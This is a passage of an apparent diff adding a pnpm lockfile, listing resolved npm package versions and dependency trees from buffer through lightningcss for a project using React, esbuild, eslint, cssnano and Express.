buffer@5.7.1: + dependencies: + base64-js: 1.5.1 + ieee754: 1.2.1 + + bytes@3.1.2: {} + + cac@6.7.14: {} + + cacache@17.1.4: + dependencies: + '@npmcli/fs': 3.1.1 + fs-minipass: 3.0.3 + glob: 10.5.0 + lru-cache: 7.18.3 + minipass: 7.1.3 + minipass-collect: 1.0.2 + minipass-flush: 1.0.5 + minipass-pipeline: 1.2.4 + p-map: 4.0.0 + ssri: 10.0.6 + tar: 6.2.1 + unique-filename: 3.0.0 + + call-bind-apply-helpers@1.0.2: + dependencies: + es-errors: 1.3.0 + function-bind: 1.1.2 + + call-bind@1.0.8: + dependencies: + call-bind-apply-helpers: 1.0.2 + es-define-property: 1.0.1 + get-intrinsic: 1.3.0 + set-function-length: 1.2.2 + + call-bound@1.0.4: + dependencies: + call-bind-apply-helpers: 1.0.2 + get-intrinsic: 1.3.0 + + callsites@3.1.0: {} + + caniuse-api@3.0.0: + dependencies: + browserslist: 4.28.1 + caniuse-lite: 1.0.30001774 + lodash.memoize: 4.1.2 + lodash.uniq: 4.5.0 + + caniuse-lite@1.0.30001774: {} + + ccount@2.0.1: {} + + chalk@4.1.2: + dependencies: + ansi-styles: 4.3.0 + supports-color: 7.2.0 + + character-entities-html4@2.1.0: {} + + character-entities-legacy@3.0.0: {} + + character-entities@2.0.2: {} + + character-reference-invalid@2.0.1: {} + + chokidar@3.6.0: + dependencies: + anymatch: 3.1.3 + braces: 3.0.3 + glob-parent: 5.1.2 + is-binary-path: 2.1.0 + is-glob: 4.0.3 + normalize-path: 3.0.0 + readdirp: 3.6.0 + optionalDependencies: + fsevents: 2.3.3 + + chownr@1.1.4: {} + + chownr@2.0.0: {} + + class-variance-authority@0.7.1: + dependencies: + clsx: 2.1.1 + + clean-stack@2.2.0: {} + + cli-cursor@3.1.0: + dependencies: + restore-cursor: 3.1.0 + + cli-spinners@2.9.2: {} + + clone@1.0.4: {} + + clsx@2.1.1: {} + + cmdk@1.1.1(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4): + dependencies: + '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-dialog': 1.1.15(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-id': 1.1.1(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-primitive': 2.1.4(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + transitivePeerDependencies: + - '@types/react' + - '@types/react-dom' + + color-convert@2.0.1: + dependencies: + color-name: 1.1.4 + + color-name@1.1.4: {} + + colord@2.9.3: {} + + comma-separated-tokens@2.0.3: {} + + commander@7.2.0: {} + + commondir@1.0.1: {} + + compressible@2.0.18: + dependencies: + mime-db: 1.54.0 + + compression@1.8.1: + dependencies: + bytes: 3.1.2 + compressible: 2.0.18 + debug: 2.6.9 + negotiator: 0.6.4 + on-headers: 1.1.0 + safe-buffer: 5.2.1 + vary: 1.1.2 + transitivePeerDependencies: + - supports-color + + concat-map@0.0.1: {} + + concat-with-sourcemaps@1.1.0: + dependencies: + source-map: 0.6.1 + + confbox@0.1.8: {} + + confbox@0.2.4: {} + + content-disposition@0.5.4: + dependencies: + safe-buffer: 5.2.1 + + content-type@1.0.5: {} + + convert-source-map@2.0.0: {} + + cookie-signature@1.0.7: {} + + cookie-signature@1.2.2: {} + + cookie@0.7.2: {} + + core-util-is@1.0.3: {} + + cross-spawn@7.0.6: + dependencies: + path-key: 3.1.1 + shebang-command: 2.0.0 + which: 2.0.2 + + css-declaration-sorter@6.4.1(postcss@8.5.8): + dependencies: + postcss: 8.5.8 + + css-select@4.3.0: + dependencies: + boolbase: 1.0.0 + css-what: 6.2.2 + domhandler: 4.3.1 + domutils: 2.8.0 + nth-check: 2.1.1 + + css-tree@1.1.3: + dependencies: + mdn-data: 2.0.14 + source-map: 0.6.1 + + css-what@6.2.2: {} + + cssesc@3.0.0: {} + + cssnano-preset-default@5.2.14(postcss@8.5.8): + dependencies: + css-declaration-sorter: 6.4.1(postcss@8.5.8) + cssnano-utils: 3.1.0(postcss@8.5.8) + postcss: 8.5.8 + postcss-calc: 8.2.4(postcss@8.5.8) + postcss-colormin: 5.3.1(postcss@8.5.8) + postcss-convert-values: 5.1.3(postcss@8.5.8) + postcss-discard-comments: 5.1.2(postcss@8.5.8) + postcss-discard-duplicates: 5.1.0(postcss@8.5.8) + postcss-discard-empty: 5.1.1(postcss@8.5.8) + postcss-discard-overridden: 5.1.0(postcss@8.5.8) + postcss-merge-longhand: 5.1.7(postcss@8.5.8) + postcss-merge-rules: 5.1.4(postcss@8.5.8) + postcss-minify-font-values: 5.1.0(postcss@8.5.8) + postcss-minify-gradients: 5.1.1(postcss@8.5.8) + postcss-minify-params: 5.1.4(postcss@8.5.8) + postcss-minify-selectors: 5.2.1(postcss@8.5.8) + postcss-normalize-charset: 5.1.0(postcss@8.5.8) + postcss-normalize-display-values: 5.1.0(postcss@8.5.8) + postcss-normalize-positions: 5.1.1(postcss@8.5.8) + postcss-normalize-repeat-style: 5.1.1(postcss@8.5.8) + postcss-normalize-string: 5.1.0(postcss@8.5.8) + postcss-normalize-timing-functions: 5.1.0(postcss@8.5.8) + postcss-normalize-unicode: 5.1.1(postcss@8.5.8) + postcss-normalize-url: 5.1.0(postcss@8.5.8) + postcss-normalize-whitespace: 5.1.1(postcss@8.5.8) + postcss-ordered-values: 5.1.3(postcss@8.5.8) + postcss-reduce-initial: 5.1.2(postcss@8.5.8) + postcss-reduce-transforms: 5.1.0(postcss@8.5.8) + postcss-svgo: 5.1.0(postcss@8.5.8) + postcss-unique-selectors: 5.1.1(postcss@8.5.8) + + cssnano-utils@3.1.0(postcss@8.5.8): + dependencies: + postcss: 8.5.8 + + cssnano@5.1.15(postcss@8.5.8): + dependencies: + cssnano-preset-default: 5.2.14(postcss@8.5.8) + lilconfig: 2.1.0 + postcss: 8.5.8 + yaml: 1.10.2 + + csso@4.2.0: + dependencies: + css-tree: 1.1.3 + + csstype@3.2.3: {} + + data-uri-to-buffer@3.0.1: {} + + data-view-buffer@1.0.2: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + is-data-view: 1.0.2 + + data-view-byte-length@1.0.2: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + is-data-view: 1.0.2 + + data-view-byte-offset@1.0.1: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + is-data-view: 1.0.2 + + date-fns@3.6.0: {} + + debug@2.6.9: + dependencies: + ms: 2.0.0 + + debug@4.4.3: + dependencies: + ms: 2.1.3 + + decode-named-character-reference@1.3.0: + dependencies: + character-entities: 2.0.2 + + dedent@1.7.1: {} + + deep-is@0.1.4: {} + + deep-object-diff@1.1.9: {} + + deepmerge@4.3.1: {} + + defaults@1.0.4: + dependencies: + clone: 1.0.4 + + define-data-property@1.1.4: + dependencies: + es-define-property: 1.0.1 + es-errors: 1.3.0 + gopd: 1.2.0 + + define-properties@1.2.1: + dependencies: + define-data-property: 1.1.4 + has-property-descriptors: 1.0.2 + object-keys: 1.1.1 + + depd@2.0.0: {} + + dequal@2.0.3: {} + + destroy@1.2.0: {} + + detect-libc@2.1.2: {} + + detect-node-es@1.1.0: {} + + diff@5.2.2: {} + + dir-glob@3.0.1: + dependencies: + path-type: 4.0.0 + + doctrine@2.1.0: + dependencies: + esutils: 2.0.3 + + doctrine@3.0.0: + dependencies: + esutils: 2.0.3 + + dom-serializer@1.4.1: + dependencies: + domelementtype: 2.3.0 + domhandler: 4.3.1 + entities: 2.2.0 + + domelementtype@2.3.0: {} + + domhandler@4.3.1: + dependencies: + domelementtype: 2.3.0 + + dompurify@3.2.7: + optionalDependencies: + '@types/trusted-types': 2.0.7 + + domutils@2.8.0: + dependencies: + dom-serializer: 1.4.1 + domelementtype: 2.3.0 + domhandler: 4.3.1 + + dotenv@16.6.1: {} + + dunder-proto@1.0.1: + dependencies: + call-bind-apply-helpers: 1.0.2 + es-errors: 1.3.0 + gopd: 1.2.0 + + duplexify@3.7.1: + dependencies: + end-of-stream: 1.4.5 + inherits: 2.0.4 + readable-stream: 2.3.8 + stream-shift: 1.0.3 + + eastasianwidth@0.2.0: {} + + ee-first@1.1.1: {} + + electron-to-chromium@1.5.302: {} + + emoji-regex@8.0.0: {} + + emoji-regex@9.2.2: {} + + encodeurl@2.0.0: {} + + end-of-stream@1.4.5: + dependencies: + once: 1.4.0 + + enhanced-resolve@5.20.1: + dependencies: + graceful-fs: 4.2.11 + tapable: 2.3.2 + + entities@2.2.0: {} + + err-code@2.0.3: {} + + es-abstract@1.24.1: + dependencies: + array-buffer-byte-length: 1.0.2 + arraybuffer.prototype.slice: 1.0.4 + available-typed-arrays: 1.0.7 + call-bind: 1.0.8 + call-bound: 1.0.4 + data-view-buffer: 1.0.2 + data-view-byte-length: 1.0.2 + data-view-byte-offset: 1.0.1 + es-define-property: 1.0.1 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + es-set-tostringtag: 2.1.0 + es-to-primitive: 1.3.0 + function.prototype.name: 1.1.8 + get-intrinsic: 1.3.0 + get-proto: 1.0.1 + get-symbol-description: 1.1.0 + globalthis: 1.0.4 + gopd: 1.2.0 + has-property-descriptors: 1.0.2 + has-proto: 1.2.0 + has-symbols: 1.1.0 + hasown: 2.0.2 + internal-slot: 1.1.0 + is-array-buffer: 3.0.5 + is-callable: 1.2.7 + is-data-view: 1.0.2 + is-negative-zero: 2.0.3 + is-regex: 1.2.1 + is-set: 2.0.3 + is-shared-array-buffer: 1.0.4 + is-string: 1.1.1 + is-typed-array: 1.1.15 + is-weakref: 1.1.1 + math-intrinsics: 1.1.0 + object-inspect: 1.13.4 + object-keys: 1.1.1 + object.assign: 4.1.7 + own-keys: 1.0.1 + regexp.prototype.flags: 1.5.4 + safe-array-concat: 1.1.3 + safe-push-apply: 1.0.0 + safe-regex-test: 1.1.0 + set-proto: 1.0.0 + stop-iteration-iterator: 1.1.0 + string.prototype.trim: 1.2.10 + string.prototype.trimend: 1.0.9 + string.prototype.trimstart: 1.0.8 + typed-array-buffer: 1.0.3 + typed-array-byte-length: 1.0.3 + typed-array-byte-offset: 1.0.4 + typed-array-length: 1.0.7 + unbox-primitive: 1.1.0 + which-typed-array: 1.1.20 + + es-define-property@1.0.1: {} + + es-errors@1.3.0: {} + + es-iterator-helpers@1.2.2: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-abstract: 1.24.1 + es-errors: 1.3.0 + es-set-tostringtag: 2.1.0 + function-bind: 1.1.2 + get-intrinsic: 1.3.0 + globalthis: 1.0.4 + gopd: 1.2.0 + has-property-descriptors: 1.0.2 + has-proto: 1.2.0 + has-symbols: 1.1.0 + internal-slot: 1.1.0 + iterator.prototype: 1.1.5 + safe-array-concat: 1.1.3 + + es-module-lexer@1.7.0: {} + + es-object-atoms@1.1.1: + dependencies: + es-errors: 1.3.0 + + es-set-tostringtag@2.1.0: + dependencies: + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + has-tostringtag: 1.0.2 + hasown: 2.0.2 + + es-shim-unscopables@1.1.0: + dependencies: + hasown: 2.0.2 + + es-to-primitive@1.3.0: + dependencies: + is-callable: 1.2.7 + is-date-object: 1.1.0 + is-symbol: 1.1.1 + + esbuild-plugins-node-modules-polyfill@1.8.1(esbuild@0.17.6): + dependencies: + '@jspm/core': 2.1.0 + esbuild: 0.17.6 + local-pkg: 1.1.2 + resolve.exports: 2.0.3 + + esbuild@0.17.6: + optionalDependencies: + '@esbuild/android-arm': 0.17.6 + '@esbuild/android-arm64': 0.17.6 + '@esbuild/android-x64': 0.17.6 + '@esbuild/darwin-arm64': 0.17.6 + '@esbuild/darwin-x64': 0.17.6 + '@esbuild/freebsd-arm64': 0.17.6 + '@esbuild/freebsd-x64': 0.17.6 + '@esbuild/linux-arm': 0.17.6 + '@esbuild/linux-arm64': 0.17.6 + '@esbuild/linux-ia32': 0.17.6 + '@esbuild/linux-loong64': 0.17.6 + '@esbuild/linux-mips64el': 0.17.6 + '@esbuild/linux-ppc64': 0.17.6 + '@esbuild/linux-riscv64': 0.17.6 + '@esbuild/linux-s390x': 0.17.6 + '@esbuild/linux-x64': 0.17.6 + '@esbuild/netbsd-x64': 0.17.6 + '@esbuild/openbsd-x64': 0.17.6 + '@esbuild/sunos-x64': 0.17.6 + '@esbuild/win32-arm64': 0.17.6 + '@esbuild/win32-ia32': 0.17.6 + '@esbuild/win32-x64': 0.17.6 + + esbuild@0.21.5: + optionalDependencies: + '@esbuild/aix-ppc64': 0.21.5 + '@esbuild/android-arm': 0.21.5 + '@esbuild/android-arm64': 0.21.5 + '@esbuild/android-x64': 0.21.5 + '@esbuild/darwin-arm64': 0.21.5 + '@esbuild/darwin-x64': 0.21.5 + '@esbuild/freebsd-arm64': 0.21.5 + '@esbuild/freebsd-x64': 0.21.5 + '@esbuild/linux-arm': 0.21.5 + '@esbuild/linux-arm64': 0.21.5 + '@esbuild/linux-ia32': 0.21.5 + '@esbuild/linux-loong64': 0.21.5 + '@esbuild/linux-mips64el': 0.21.5 + '@esbuild/linux-ppc64': 0.21.5 + '@esbuild/linux-riscv64': 0.21.5 + '@esbuild/linux-s390x': 0.21.5 + '@esbuild/linux-x64': 0.21.5 + '@esbuild/netbsd-x64': 0.21.5 + '@esbuild/openbsd-x64': 0.21.5 + '@esbuild/sunos-x64': 0.21.5 + '@esbuild/win32-arm64': 0.21.5 + '@esbuild/win32-ia32': 0.21.5 + '@esbuild/win32-x64': 0.21.5 + + escalade@3.2.0: {} + + escape-html@1.0.3: {} + + escape-string-regexp@4.0.0: {} + + eslint-plugin-react-hooks@4.6.2(eslint@8.57.1): + dependencies: + eslint: 8.57.1 + + eslint-plugin-react@7.37.5(eslint@8.57.1): + dependencies: + array-includes: 3.1.9 + array.prototype.findlast: 1.2.5 + array.prototype.flatmap: 1.3.3 + array.prototype.tosorted: 1.1.4 + doctrine: 2.1.0 + es-iterator-helpers: 1.2.2 + eslint: 8.57.1 + estraverse: 5.3.0 + hasown: 2.0.2 + jsx-ast-utils: 3.3.5 + minimatch: 3.1.5 + object.entries: 1.1.9 + object.fromentries: 2.0.8 + object.values: 1.2.1 + prop-types: 15.8.1 + resolve: 2.0.0-next.6 + semver: 6.3.1 + string.prototype.matchall: 4.0.12 + string.prototype.repeat: 1.0.0 + + eslint-scope@7.2.2: + dependencies: + esrecurse: 4.3.0 + estraverse: 5.3.0 + + eslint-visitor-keys@3.4.3: {} + + eslint@8.57.1: + dependencies: + '@eslint-community/eslint-utils': 4.9.1(eslint@8.57.1) + '@eslint-community/regexpp': 4.12.2 + '@eslint/eslintrc': 2.1.4 + '@eslint/js': 8.57.1 + '@humanwhocodes/config-array': 0.13.0 + '@humanwhocodes/module-importer': 1.0.1 + '@nodelib/fs.walk': 1.2.8 + '@ungap/structured-clone': 1.3.0 + ajv: 6.14.0 + chalk: 4.1.2 + cross-spawn: 7.0.6 + debug: 4.4.3 + doctrine: 3.0.0 + escape-string-regexp: 4.0.0 + eslint-scope: 7.2.2 + eslint-visitor-keys: 3.4.3 + espree: 9.6.1 + esquery: 1.7.0 + esutils: 2.0.3 + fast-deep-equal: 3.1.3 + file-entry-cache: 6.0.1 + find-up: 5.0.0 + glob-parent: 6.0.2 + globals: 13.24.0 + graphemer: 1.4.0 + ignore: 5.3.2 + imurmurhash: 0.1.4 + is-glob: 4.0.3 + is-path-inside: 3.0.3 + js-yaml: 4.1.1 + json-stable-stringify-without-jsonify: 1.0.1 + levn: 0.4.1 + lodash.merge: 4.6.2 + minimatch: 3.1.5 + natural-compare: 1.4.0 + optionator: 0.9.4 + strip-ansi: 6.0.1 + text-table: 0.2.0 + transitivePeerDependencies: + - supports-color + + espree@9.6.1: + dependencies: + acorn: 8.16.0 + acorn-jsx: 5.3.2(acorn@8.16.0) + eslint-visitor-keys: 3.4.3 + + esquery@1.7.0: + dependencies: + estraverse: 5.3.0 + + esrecurse@4.3.0: + dependencies: + estraverse: 5.3.0 + + estraverse@5.3.0: {} + + estree-util-attach-comments@2.1.1: + dependencies: + '@types/estree': 1.0.8 + + estree-util-build-jsx@2.2.2: + dependencies: + '@types/estree-jsx': 1.0.5 + estree-util-is-identifier-name: 2.1.0 + estree-walker: 3.0.3 + + estree-util-is-identifier-name@1.1.0: {} + + estree-util-is-identifier-name@2.1.0: {} + + estree-util-to-js@1.2.0: + dependencies: + '@types/estree-jsx': 1.0.5 + astring: 1.9.0 + source-map: 0.7.6 + + estree-util-value-to-estree@1.3.0: + dependencies: + is-plain-obj: 3.0.0 + + estree-util-visit@1.2.1: + dependencies: + '@types/estree-jsx': 1.0.5 + '@types/unist': 2.0.11 + + estree-walker@0.6.1: {} + + estree-walker@2.0.2: {} + + estree-walker@3.0.3: + dependencies: + '@types/estree': 1.0.8 + + esutils@2.0.3: {} + + etag@1.8.1: {} + + eval@0.1.8: + dependencies: + '@types/node': 25.3.2 + require-like: 0.1.2 + + event-target-shim@5.0.1: {} + + eventemitter3@4.0.7: {} + + execa@5.1.1: + dependencies: + cross-spawn: 7.0.6 + get-stream: 6.0.1 + human-signals: 2.1.0 + is-stream: 2.0.1 + merge-stream: 2.0.0 + npm-run-path: 4.0.1 + onetime: 5.1.2 + signal-exit: 3.0.7 + strip-final-newline: 2.0.0 + + exit-hook@2.2.1: {} + + express@4.22.1: + dependencies: + accepts: 1.3.8 + array-flatten: 1.1.1 + body-parser: 1.20.4 + content-disposition: 0.5.4 + content-type: 1.0.5 + cookie: 0.7.2 + cookie-signature: 1.0.7 + debug: 2.6.9 + depd: 2.0.0 + encodeurl: 2.0.0 + escape-html: 1.0.3 + etag: 1.8.1 + finalhandler: 1.3.2 + fresh: 0.5.2 + http-errors: 2.0.1 + merge-descriptors: 1.0.3 + methods: 1.1.2 + on-finished: 2.4.1 + parseurl: 1.3.3 + path-to-regexp: 0.1.12 + proxy-addr: 2.0.7 + qs: 6.14.2 + range-parser: 1.2.1 + safe-buffer: 5.2.1 + send: 0.19.2 + serve-static: 1.16.3 + setprototypeof: 1.2.0 + statuses: 2.0.2 + type-is: 1.6.18 + utils-merge: 1.0.1 + vary: 1.1.2 + transitivePeerDependencies: + - supports-color + + exsolve@1.0.8: {} + + extend@3.0.2: {} + + fast-deep-equal@3.1.3: {} + + fast-glob@3.3.3: + dependencies: + '@nodelib/fs.stat': 2.0.5 + '@nodelib/fs.walk': 1.2.8 + glob-parent: 5.1.2 + merge2: 1.4.1 + micromatch: 4.0.8 + + fast-json-stable-stringify@2.1.0: {} + + fast-levenshtein@2.0.6: {} + + fastq@1.20.1: + dependencies: + reusify: 1.1.0 + + fault@2.0.1: + dependencies: + format: 0.2.2 + + fdir@6.5.0(picomatch@4.0.3): + optionalDependencies: + picomatch: 4.0.3 + + file-entry-cache@6.0.1: + dependencies: + flat-cache: 3.2.0 + + fill-range@7.1.1: + dependencies: + to-regex-range: 5.0.1 + + finalhandler@1.3.2: + dependencies: + debug: 2.6.9 + encodeurl: 2.0.0 + escape-html: 1.0.3 + on-finished: 2.4.1 + parseurl: 1.3.3 + statuses: 2.0.2 + unpipe: 1.0.0 + transitivePeerDependencies: + - supports-color + + find-up@5.0.0: + dependencies: + locate-path: 6.0.0 + path-exists: 4.0.0 + + flat-cache@3.2.0: + dependencies: + flatted: 3.3.3 + keyv: 4.5.4 + rimraf: 3.0.2 + + flatted@3.3.3: {} + + for-each@0.3.5: + dependencies: + is-callable: 1.2.7 + + foreground-child@3.3.1: + dependencies: + cross-spawn: 7.0.6 + signal-exit: 4.1.0 + + format@0.2.2: {} + + forwarded@0.2.0: {} + + fraction.js@5.3.4: {} + + fresh@0.5.2: {} + + fs-constants@1.0.0: {} + + fs-extra@10.1.0: + dependencies: + graceful-fs: 4.2.11 + jsonfile: 6.2.0 + universalify: 2.0.1 + + fs-minipass@2.1.0: + dependencies: + minipass: 3.3.6 + + fs-minipass@3.0.3: + dependencies: + minipass: 7.1.3 + + fs.realpath@1.0.0: {} + + fsevents@2.3.2: + optional: true + + fsevents@2.3.3: + optional: true + + function-bind@1.1.2: {} + + function.prototype.name@1.1.8: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + define-properties: 1.2.1 + functions-have-names: 1.2.3 + hasown: 2.0.2 + is-callable: 1.2.7 + + functions-have-names@1.2.3: {} + + generator-function@2.0.1: {} + + generic-names@4.0.0: + dependencies: + loader-utils: 3.3.1 + + gensync@1.0.0-beta.2: {} + + get-intrinsic@1.3.0: + dependencies: + call-bind-apply-helpers: 1.0.2 + es-define-property: 1.0.1 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + function-bind: 1.1.2 + get-proto: 1.0.1 + gopd: 1.2.0 + has-symbols: 1.1.0 + hasown: 2.0.2 + math-intrinsics: 1.1.0 + + get-nonce@1.0.1: {} + + get-port@5.1.1: {} + + get-proto@1.0.1: + dependencies: + dunder-proto: 1.0.1 + es-object-atoms: 1.1.1 + + get-stream@6.0.1: {} + + get-symbol-description@1.1.0: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + + glob-parent@5.1.2: + dependencies: + is-glob: 4.0.3 + + glob-parent@6.0.2: + dependencies: + is-glob: 4.0.3 + + glob@10.5.0: + dependencies: + foreground-child: 3.3.1 + jackspeak: 3.4.3 + minimatch: 9.0.9 + minipass: 7.1.3 + package-json-from-dist: 1.0.1 + path-scurry: 1.11.1 + + glob@7.2.3: + dependencies: + fs.realpath: 1.0.0 + inflight: 1.0.6 + inherits: 2.0.4 + minimatch: 3.1.5 + once: 1.4.0 + path-is-absolute: 1.0.1 + + globals@13.24.0: + dependencies: + type-fest: 0.20.2 + + globalthis@1.0.4: + dependencies: + define-properties: 1.2.1 + gopd: 1.2.0 + + globby@11.1.0: + dependencies: + array-union: 2.1.0 + dir-glob: 3.0.1 + fast-glob: 3.3.3 + ignore: 5.3.2 + merge2: 1.4.1 + slash: 3.0.0 + + gopd@1.2.0: {} + + graceful-fs@4.2.11: {} + + graphemer@1.4.0: {} + + gunzip-maybe@1.4.2: + dependencies: + browserify-zlib: 0.1.4 + is-deflate: 1.0.0 + is-gzip: 1.0.0 + peek-stream: 1.1.3 + pumpify: 1.5.1 + through2: 2.0.5 + + has-bigints@1.1.0: {} + + has-flag@4.0.0: {} + + has-property-descriptors@1.0.2: + dependencies: + es-define-property: 1.0.1 + + has-proto@1.2.0: + dependencies: + dunder-proto: 1.0.1 + + has-symbols@1.1.0: {} + + has-tostringtag@1.0.2: + dependencies: + has-symbols: 1.1.0 + + hasown@2.0.2: + dependencies: + function-bind: 1.1.2 + + hast-util-to-estree@2.3.3: + dependencies: + '@types/estree': 1.0.8 + '@types/estree-jsx': 1.0.5 + '@types/hast': 2.3.10 + '@types/unist': 2.0.11 + comma-separated-tokens: 2.0.3 + estree-util-attach-comments: 2.1.1 + estree-util-is-identifier-name: 2.1.0 + hast-util-whitespace: 2.0.1 + mdast-util-mdx-expression: 1.3.2 + mdast-util-mdxjs-esm: 1.3.1 + property-information: 6.5.0 + space-separated-tokens: 2.0.2 + style-to-object: 0.4.4 + unist-util-position: 4.0.4 + zwitch: 2.0.4 + transitivePeerDependencies: + - supports-color + + hast-util-whitespace@2.0.1: {} + + hosted-git-info@6.1.3: + dependencies: + lru-cache: 7.18.3 + + http-errors@2.0.1: + dependencies: + depd: 2.0.0 + inherits: 2.0.4 + setprototypeof: 1.2.0 + statuses: 2.0.2 + toidentifier: 1.0.1 + + human-signals@2.1.0: {} + + iconv-lite@0.4.24: + dependencies: + safer-buffer: 2.1.2 + + icss-replace-symbols@1.1.0: {} + + icss-utils@5.1.0(postcss@8.5.8): + dependencies: + postcss: 8.5.8 + + ieee754@1.2.1: {} + + ignore@5.3.2: {} + + import-cwd@3.0.0: + dependencies: + import-from: 3.0.0 + + import-fresh@3.3.1: + dependencies: + parent-module: 1.0.1 + resolve-from: 4.0.0 + + import-from@3.0.0: + dependencies: + resolve-from: 5.0.0 + + imurmurhash@0.1.4: {} + + indent-string@4.0.0: {} + + inflight@1.0.6: + dependencies: + once: 1.4.0 + wrappy: 1.0.2 + + inherits@2.0.4: {} + + inline-style-parser@0.1.1: {} + + internal-slot@1.1.0: + dependencies: + es-errors: 1.3.0 + hasown: 2.0.2 + side-channel: 1.1.0 + + ipaddr.js@1.9.1: {} + + is-alphabetical@2.0.1: {} + + is-alphanumerical@2.0.1: + dependencies: + is-alphabetical: 2.0.1 + is-decimal: 2.0.1 + + is-arguments@1.2.0: + dependencies: + call-bound: 1.0.4 + has-tostringtag: 1.0.2 + + is-array-buffer@3.0.5: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + get-intrinsic: 1.3.0 + + is-async-function@2.1.1: + dependencies: + async-function: 1.0.0 + call-bound: 1.0.4 + get-proto: 1.0.1 + has-tostringtag: 1.0.2 + safe-regex-test: 1.1.0 + + is-bigint@1.1.0: + dependencies: + has-bigints: 1.1.0 + + is-binary-path@2.1.0: + dependencies: + binary-extensions: 2.3.0 + + is-boolean-object@1.2.2: + dependencies: + call-bound: 1.0.4 + has-tostringtag: 1.0.2 + + is-buffer@2.0.5: {} + + is-callable@1.2.7: {} + + is-core-module@2.16.1: + dependencies: + hasown: 2.0.2 + + is-data-view@1.0.2: + dependencies: + call-bound: 1.0.4 + get-intrinsic: 1.3.0 + is-typed-array: 1.1.15 + + is-date-object@1.1.0: + dependencies: + call-bound: 1.0.4 + has-tostringtag: 1.0.2 + + is-decimal@2.0.1: {} + + is-deflate@1.0.0: {} + + is-extglob@2.1.1: {} + + is-finalizationregistry@1.1.1: + dependencies: + call-bound: 1.0.4 + + is-fullwidth-code-point@3.0.0: {} + + is-generator-function@1.1.2: + dependencies: + call-bound: 1.0.4 + generator-function: 2.0.1 + get-proto: 1.0.1 + has-tostringtag: 1.0.2 + safe-regex-test: 1.1.0 + + is-glob@4.0.3: + dependencies: + is-extglob: 2.1.1 + + is-gzip@1.0.0: {} + + is-hexadecimal@2.0.1: {} + + is-interactive@1.0.0: {} + + is-map@2.0.3: {} + + is-module@1.0.0: {} + + is-negative-zero@2.0.3: {} + + is-number-object@1.1.1: + dependencies: + call-bound: 1.0.4 + has-tostringtag: 1.0.2 + + is-number@7.0.0: {} + + is-path-inside@3.0.3: {} + + is-plain-obj@3.0.0: {} + + is-plain-obj@4.1.0: {} + + is-reference@1.2.1: + dependencies: + '@types/estree': 1.0.8 + + is-reference@3.0.3: + dependencies: + '@types/estree': 1.0.8 + + is-regex@1.2.1: + dependencies: + call-bound: 1.0.4 + gopd: 1.2.0 + has-tostringtag: 1.0.2 + hasown: 2.0.2 + + is-set@2.0.3: {} + + is-shared-array-buffer@1.0.4: + dependencies: + call-bound: 1.0.4 + + is-stream@2.0.1: {} + + is-string@1.1.1: + dependencies: + call-bound: 1.0.4 + has-tostringtag: 1.0.2 + + is-symbol@1.1.1: + dependencies: + call-bound: 1.0.4 + has-symbols: 1.1.0 + safe-regex-test: 1.1.0 + + is-typed-array@1.1.15: + dependencies: + which-typed-array: 1.1.20 + + is-unicode-supported@0.1.0: {} + + is-weakmap@2.0.2: {} + + is-weakref@1.1.1: + dependencies: + call-bound: 1.0.4 + + is-weakset@2.0.4: + dependencies: + call-bound: 1.0.4 + get-intrinsic: 1.3.0 + + isarray@1.0.0: {} + + isarray@2.0.5: {} + + isbot@5.1.36: {} + + isexe@2.0.0: {} + + iterator.prototype@1.1.5: + dependencies: + define-data-property: 1.1.4 + es-object-atoms: 1.1.1 + get-intrinsic: 1.3.0 + get-proto: 1.0.1 + has-symbols: 1.1.0 + set-function-name: 2.0.2 + + jackspeak@3.4.3: + dependencies: + '@isaacs/cliui': 8.0.2 + optionalDependencies: + '@pkgjs/parseargs': 0.11.0 + + javascript-stringify@2.1.0: {} + + jiti@2.6.1: {} + + js-tokens@4.0.0: {} + + js-yaml@4.1.1: + dependencies: + argparse: 2.0.1 + + jsesc@3.0.2: {} + + json-buffer@3.0.1: {} + + json-parse-even-better-errors@3.0.2: {} + + json-schema-traverse@0.4.1: {} + + json-stable-stringify-without-jsonify@1.0.1: {} + + json5@2.2.3: {} + + jsonfile@6.2.0: + dependencies: + universalify: 2.0.1 + optionalDependencies: + graceful-fs: 4.2.11 + + jsx-ast-utils@3.3.5: + dependencies: + array-includes: 3.1.9 + array.prototype.flat: 1.3.3 + object.assign: 4.1.7 + object.values: 1.2.1 + + keyv@4.5.4: + dependencies: + json-buffer: 3.0.1 + + kleur@4.1.5: {} + + levn@0.4.1: + dependencies: + prelude-ls: 1.2.1 + type-check: 0.4.0 + + lightningcss-android-arm64@1.32.0: + optional: true + + lightningcss-darwin-arm64@1.32.0: + optional: true + + lightningcss-darwin-x64@1.32.0: + optional: true + + lightningcss-freebsd-x64@1.32.0: + optional: true + + lightningcss-linux-arm-gnueabihf@1.32.0: + optional: true + + lightningcss-linux-arm64-gnu@1.32.0: + optional: true + + lightningcss-linux-arm64-musl@1.32.0: + optional: true + + lightningcss-linux-x64-gnu@1.32.0: + optional: true + + lightningcss-linux-x64-musl@1.32.0: + optional: true + + lightningcss-win32-arm64-msvc@1.32.0: + optional: true + + lightningcss-win32-x64-msvc@1.32.0: + optional: true + + lightningcss@1.32.0: + dependencies: + detect-libc: 2.1.2 + optionalDependencies: + lightningcss-android-arm64: 1.32.0 + lightningcss-darwin-arm64: 1.32.0 + lightningcss-darwin-x64: 1.32.0 + lightningcss-freebsd-x64: 